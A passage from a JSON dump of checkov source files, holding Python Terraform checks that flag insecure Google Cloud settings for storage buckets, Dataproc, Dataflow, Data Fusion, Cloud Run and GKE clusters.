    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CloudStorageLogging(BaseResourceCheck):\n    def __init__(self):\n        name = \"Bucket should log access\"\n        id = \"CKV_GCP_62\"\n        supported_resources = ['google_storage_bucket']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # check for logging\n        if 'logging' in conf:\n            if conf['logging'][0]:\n                log_bucket_name = conf['logging'][0]['log_bucket']\n                if log_bucket_name:\n                    return CheckResult.PASSED\n                else:\n                    return CheckResult.FAILED\n            else:\n                return CheckResult.FAILED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"logging/[0]/log_bucket\"]\n\n\ncheck = CloudStorageLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/CloudStorageSelfLogging.py",
    "content": "from typing import Dict, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass CloudStorageSelfLogging(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Bucket should not log to itself\"\n        id = \"CKV_GCP_63\"\n        supported_resources = [\"google_storage_bucket\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        bucket_name = conf.get(\"name\")\n        # check for logging\n        if \"logging\" in conf:\n            self.evaluated_keys = [\"logging\"]\n            if conf[\"logging\"][0]:\n                log_bucket_name = conf[\"logging\"][0][\"log_bucket\"]\n                self.evaluated_keys = [\"logging/[0]/log_bucket\", \"name\"]\n                if log_bucket_name != bucket_name:\n                    return CheckResult.PASSED\n                return CheckResult.FAILED\n            return CheckResult.FAILED\n        return CheckResult.UNKNOWN\n\n\ncheck = CloudStorageSelfLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/CloudStorageVersioningEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass CloudStorageVersioningEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Cloud storage has versioning enabled\"\n        id = \"CKV_GCP_78\"\n        supported_resources = ['google_storage_bucket']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"versioning/[0]/enabled\"\n\n\ncheck = CloudStorageVersioningEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/DataFusionPrivateInstance.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DataFusionPrivateInstance(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Data fusion instances are private\"\n        id = \"CKV_GCP_87\"\n        supported_resources = ['google_data_fusion_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'private_instance'\n\n\ncheck = DataFusionPrivateInstance()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/DataFusionStackdriverLogs.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DataFusionStackdriverLogs(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Datafusion has stack driver logging enabled\"\n        id = \"CKV_GCP_104\"\n        supported_resources = ['google_data_fusion_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"enable_stackdriver_logging\"\n\n\ncheck = DataFusionStackdriverLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/DataFusionStackdriverMonitoring.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DataFusionStackdriverMonitoring(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Datafusion has stack driver monitoring enabled\"\n        id = \"CKV_GCP_105\"\n        supported_resources = ['google_data_fusion_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"enable_stackdriver_monitoring\"\n\n\ncheck = DataFusionStackdriverMonitoring()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/DataflowJobEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DataflowJobEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure data flow jobs are encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_90\"\n        supported_resources = ['google_dataflow_job']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = DataflowJobEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/DataflowPrivateJob.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DataflowPrivateJob(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Dataflow jobs are private\"\n        id = \"CKV_GCP_94\"\n        supported_resources = (\"google_dataflow_job\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"ip_configuration\"\n\n    # Possible values are \"WORKER_IP_PUBLIC\" or \"WORKER_IP_PRIVATE\"\n    def get_expected_value(self) -> Any:\n        return \"WORKER_IP_PRIVATE\"\n\n\ncheck = DataflowPrivateJob()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/DataprocClusterEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DataprocClusterEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Dataproc cluster is encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_91\"\n        supported_resources = ['google_dataproc_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'cluster_config/[0]/encryption_config/[0]/kms_key_name'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = DataprocClusterEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/DataprocPrivateCluster.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass DataprocPrivateCluster(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Dataproc clusters are not anonymously or publicly accessible\"\n        id = \"CKV_GCP_98\"\n        supported_resources = (\"google_dataproc_cluster_iam_member\", \"google_dataproc_cluster_iam_binding\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        public_principals = (\n            \"allUsers\",\n            \"allAuthenticatedUsers\"\n        )\n        # Depending on the terraform resource type -\n        # The member config is either a list or single principal\n        if self.entity_type == \"google_dataproc_cluster_iam_member\":\n            # conf.get returns as a list\n            # so we create a string for comparison\n            if \"member\" in conf.keys():\n                member = conf.get(\"member\")[0]\n                if member in public_principals:\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n        # iam_binding returns a list of principals\n        elif self.entity_type == \"google_dataproc_cluster_iam_binding\":\n            # Since conf.get returns a list and iam_binding returns a list (nested list)\n            # we pull out the members list using the index 0\n            if \"members\" in conf.keys():\n                members_list = conf.get(\"members\")[0]\n                if any(member in public_principals for member in members_list):\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n\n\ncheck = DataprocPrivateCluster()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/DataprocPublicIpCluster.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass DataprocPublicIpCluster(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Dataproc Clusters do not have public IPs\"\n        id = \"CKV_GCP_103\"\n        supported_resources = (\"google_dataproc_cluster\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"cluster_config/[0]/gce_cluster_config/[0]/internal_ip_only\"\n\n\ncheck = DataprocPublicIpCluster()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GCPCloudRunPrivateService.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GCPCloudRunPrivateService(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that GCP Cloud Run services are not anonymously or publicly accessible\"\n        id = \"CKV_GCP_102\"\n        supported_resources = (\"google_cloud_run_service_iam_member\", \"google_cloud_run_service_iam_binding\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        public_principals = (\n            \"allUsers\",\n            \"allAuthenticatedUsers\"\n        )\n        # Depending on the terraform resource type -\n        # The member config is either a list or single principal\n        if self.entity_type == \"google_cloud_run_service_iam_member\":\n            # conf.get returns as a list\n            # so we create a string for comparison\n            if \"member\" in conf.keys():\n                member = conf.get(\"member\")[0]\n                if member in public_principals:\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n        # iam_binding returns a list of principals\n        elif self.entity_type == \"google_cloud_run_service_iam_binding\":\n            # Since conf.get returns a list and iam_binding returns a list (nested list)\n            # we pull out the members list using the index 0\n            if \"members\" in conf.keys():\n                members_list = conf.get(\"members\")[0]\n                if any(member in public_principals for member in members_list):\n                    return CheckResult.FAILED\n                else:\n                    return CheckResult.PASSED\n\n\ncheck = GCPCloudRunPrivateService()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEAliasIpEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass GKEAliasIpEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Kubernetes Cluster is created with Alias IP ranges enabled\"\n        id = \"CKV_GCP_23\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'ip_allocation_policy'\n\n    def get_expected_values(self):\n        return [ANY_VALUE]\n\n\ncheck = GKEAliasIpEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEBinaryAuthorization.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GKEBinaryAuthorization(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure use of Binary Authorization\"\n        id = \"CKV_GCP_66\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'binary_authorization' in conf.keys():\n            binary_authorization = conf[\"binary_authorization\"][0]\n            if isinstance(binary_authorization, dict) and 'evaluation_mode' in binary_authorization:\n                # Google provider version >= v4.31.0\n                if binary_authorization.get(\"evaluation_mode\") == [\"PROJECT_SINGLETON_POLICY_ENFORCE\"]:\n                    return CheckResult.PASSED\n                # Google provider version v4.29.0 and v4.30.0\n                elif binary_authorization.get(\"evaluation_mode\") == [True]:\n                    return CheckResult.PASSED\n        # Google provider version <= v4.28.0\n        if conf.get(\"enable_binary_authorization\") == [True]:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self):\n        return ['binary_authorization', 'enable_binary_authorization']\n\n\ncheck = GKEBinaryAuthorization()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEClientCertificateDisabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass GKEClientCertificateDisabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure client certificate authentication to Kubernetes Engine Clusters is disabled\"\n        id = \"CKV_GCP_13\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        \"\"\"\n                    Looks for client certificate configuration on google_container_cluster:\n                    https://www.terraform.io/docs/providers/google/r/container_cluster.html#client_certificate_config\n                :param conf: google_container_cluster configuration\n                :return: <CheckResult>\n        \"\"\"\n        return 'master_auth/[0]/client_certificate_config/[0]/issue_client_certificate/[0]'\n\n    def get_expected_value(self):\n        return False\n\n\ncheck = GKEClientCertificateDisabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEClusterLogging.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass GKEClusterLogging(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Stackdriver Logging is set to Enabled on Kubernetes Engine Clusters\"\n        id = \"CKV_GCP_1\"\n        supported_resources = (\"google_container_cluster\",)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"logging_service\"\n\n    def get_forbidden_values(self) -> Any:\n        return \"none\"\n\n\ncheck = GKEClusterLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEDisableLegacyAuth.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass GKEDisabledLegacyAuth(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Legacy Authorization is set to Disabled on Kubernetes Engine Clusters\"\n        id = \"CKV_GCP_7\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'enable_legacy_abac'\n\n    def get_forbidden_values(self):\n        return [True]\n\n\ncheck = GKEDisabledLegacyAuth()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEDontUseNodePools.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.consts import ANY_VALUE\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass GKEDontUseNodePools(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Node pools are better configured in the separate resource google_container_node_pool\n        or to quote the provider docs:\n        \"It is recommended that node pools be created and managed as separate resources as in the example above.\n        This allows node pools to be added and removed without recreating the cluster.\n        Node pools defined directly in the google_container_cluster resource cannot be removed\n        without re-creating the cluster.\"\n        Recreating a cluster in Production would be unwise.\n        \"\"\"\n\n        name = \"GKE Don't Use NodePools in the Cluster configuration\"\n        id = \"CKV_GCP_123\"\n        supported_resources = ['google_container_cluster',]\n        categories = [CheckCategories.KUBERNETES,]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'node_pool'\n\n    def get_forbidden_values(self) -> Any:\n        return [ANY_VALUE]\n\n\ncheck = GKEDontUseNodePools()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEEnableShieldedNodes.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass GKEEnableShieldedNodes(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Shielded GKE Nodes are Enabled\"\n        id = \"CKV_GCP_71\"\n        supported_resources = ('google_container_cluster',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'enable_shielded_nodes'\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = GKEEnableShieldedNodes()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEEnableVPCFlowLogs.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GKEEnableVPCFlowLogs(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Enable VPC Flow Logs and Intranode Visibility\"\n        id = \"CKV_GCP_61\"\n        supported_resources = ('google_container_cluster',)\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'enable_intranode_visibility'\n\n    def get_expected_value(self) -> Any:\n        return True\n\n\ncheck = GKEEnableVPCFlowLogs()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEEnsureIntegrityMonitoring.py",
    "content": "from typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GKEEnsureIntegrityMonitoring(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Integrity Monitoring for Shielded GKE Nodes is Enabled\"\n        check_id = \"CKV_GCP_72\"\n        supported_resources = ['google_container_cluster', 'google_container_node_pool']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'node_config' in conf.keys():\n            node = conf[\"node_config\"][0]\n            if isinstance(node, dict) and 'shielded_instance_config' in node.keys():\n                monitor = node[\"shielded_instance_config\"][0]\n                if monitor.get(\"enable_integrity_monitoring\") == [True]:\n                    return CheckResult.PASSED\n                return CheckResult.FAILED\n            # as default is true this is a pass\n            return CheckResult.PASSED\n        # no config is valid it could be in the the node_pool\n        return CheckResult.UNKNOWN\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"node_config/[0]/shielded_instance_config/[0]/enable_integrity_monitoring\"]\n\n\ncheck = GKEEnsureIntegrityMonitoring()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEHasLabels.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom typing import List\n\n\nclass GKEHasLabels(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Kubernetes Clusters are configured with Labels\"\n        id = \"CKV_GCP_21\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for password configuration at azure_instance:\n            https://www.terraform.io/docs/providers/google/r/compute_ssl_policy.html\n        :param conf: google_compute_ssl_policy configuration\n        :return: <CheckResult>\n        \"\"\"\n        if 'resource_labels' in conf:\n            resource_labels = conf.get('resource_labels')\n            if isinstance(resource_labels[0], dict) and len(resource_labels[0].keys()) > 0:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['resource_labels']\n\n\ncheck = GKEHasLabels()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEKubernetesRBACGoogleGroups.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass GKEKubernetesRBACGoogleGroups(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Manage Kubernetes RBAC users with Google Groups for GKE\"\n        id = \"CKV_GCP_65\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'authenticator_groups_config/[0]/security_group'\n\n    def get_expected_values(self):\n        return [ANY_VALUE]\n\n\ncheck = GKEKubernetesRBACGoogleGroups()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEMasterAuthorizedNetworksEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass GKEMasterAuthorizedNetworksEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure master authorized networks is set to enabled in GKE clusters\"\n        id = \"CKV_GCP_20\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'master_authorized_networks_config'\n\n    def get_expected_values(self):\n        return [ANY_VALUE]\n\n\ncheck = GKEMasterAuthorizedNetworksEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEMetadataServerIsEnabled.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_list\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\n\n\nclass GKEMetadataServerIsEnabled(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure the GKE Metadata Server is Enabled\"\n        id = \"CKV_GCP_69\"\n        supported_resources = ['google_container_cluster', 'google_container_node_pool']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n        looks for workload_metadata_config in node_config which ensures that the metadata server is enabled\n        https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/container_cluster\n        :param conf: google_container_cluster or google_container_node_pool configuration\n        :return: <CheckResult>\n        \"\"\"\n        if 'node_config' in conf.keys():\n            node = conf[\"node_config\"][0]\n            if isinstance(node, dict) and 'workload_metadata_config' in node:\n                workload_metadatas = force_list(node[\"workload_metadata_config\"][0])\n                for workload_metadata in workload_metadatas:\n                    if workload_metadata.get(\"mode\", None) == [\"GKE_METADATA\"]:\n                        return CheckResult.PASSED\n                    # deprecated in newer Google provider\n                    elif workload_metadata.get(\"node_metadata\", None) == [\"GKE_METADATA_SERVER\"]:\n                        return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self):\n        return ['node_config']\n\n\ncheck = GKEMetadataServerIsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEMonitoringEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass GKEMonitoringEnabled(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Stackdriver Monitoring is set to Enabled on Kubernetes Engine Clusters\"\n        id = \"CKV_GCP_8\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'monitoring_service/0'\n\n    def get_forbidden_values(self):\n        return ['none']\n\n\ncheck = GKEMonitoringEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKENetworkPolicyEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass GKENetworkPolicyEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Network Policy is enabled on Kubernetes Engine Clusters\"\n        id = \"CKV_GCP_12\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for network policy configuration on google_container_cluster:\n            https://www.terraform.io/docs/providers/google/r/container_cluster.html\n            Expects either network policies or Dataplane V2 to be enabled\n        :param conf: google_container_cluster configuration\n        :return: <CheckResult>\n        \"\"\"\n        if 'network_policy' in conf:\n            network_policy = conf.get('network_policy')\n            datapath_provider = conf.get('datapath_provider')\n\n            if 'enabled' in network_policy[0]:\n                policy_enabled = network_policy[0].get('enabled')[0]\n                if policy_enabled:\n                    return CheckResult.PASSED\n                elif not policy_enabled and datapath_provider == ['ADVANCED_DATAPATH']:\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_inspected_key(self):\n        return 'network_policy/[0]/enabled'\n\n\ncheck = GKENetworkPolicyEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKENodePoolAutoRepairEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GKENodePoolAutoRepairEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure 'Automatic node repair' is enabled for Kubernetes Clusters\"\n        id = \"CKV_GCP_9\"\n        supported_resources = ['google_container_node_pool']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        \"\"\"\n            Looks for node auto-repair configuration on google_container_node_pool:\n            https://www.terraform.io/docs/providers/google/r/container_node_pool.html\n        :param conf: google_container_node_pool configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        return 'management/[0]/auto_repair/[0]'\n\n\ncheck = GKENodePoolAutoRepairEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKENodePoolAutoUpgradeEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass GKENodePoolAutoUpgradeEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure 'Automatic node upgrade' is enabled for Kubernetes Clusters\"\n        id = \"CKV_GCP_10\"\n        supported_resources = ['google_container_node_pool']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        \"\"\"\n                    Looks for node auto-upgrade configuration on google_container_node_pool:\n                    https://www.terraform.io/docs/providers/google/r/container_node_pool.html\n                :param conf: google_container_node_pool configuration\n                :return: <CheckResult>\n        \"\"\"\n        return 'management/[0]/auto_upgrade/[0]'\n\n\ncheck = GKENodePoolAutoUpgradeEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GKEPodSecurityPolicyEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass GKEPodSecurityPolicyEnabled(BaseResourceCheck):\n\n    \"\"\"\n     Pod Security Policy was removed from GKE clusters with version >= 1.25.0\n    \"\"\"\n\n    def __init__(self):\n        name = \"Ensure PodSecurityPolicy controller is enabled on the Kubernetes Engine Clusters\"\n        id = \"CKV_GCP_24\"\n        supported_resources = ['google_container_cluster']\n        categories = [CheckCategories.KUBERNETES]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n\n        if conf.get('min_master_version') and isinstance(conf.get('min_master_version'), list):\n            raw = conf.get('min_master_version')[0]\n            splitter = raw.split(\".\")\n            if len(splitter) >= 2:\n                str_version = splitter[0] + \".\" + splitter[1]\n                try:\n                    version = float(str_version)\n                except (ValueError, IndexError):\n                    return CheckResult.UNKNOWN\n                if version < 1.25:\n                    if conf.get('pod_security_policy_config') and isinstance(conf.get('pod_security_policy_config'), list):\n                        policy = conf.get('pod_security_policy_config')[0]\n                        if policy.get('enabled') and isinstance(policy.get('enabled'), list):\n                            secure = policy.get('enabled')[0]\n                            if secure:\n                                return CheckResult.PASSED\n                    self.evaluated_keys = 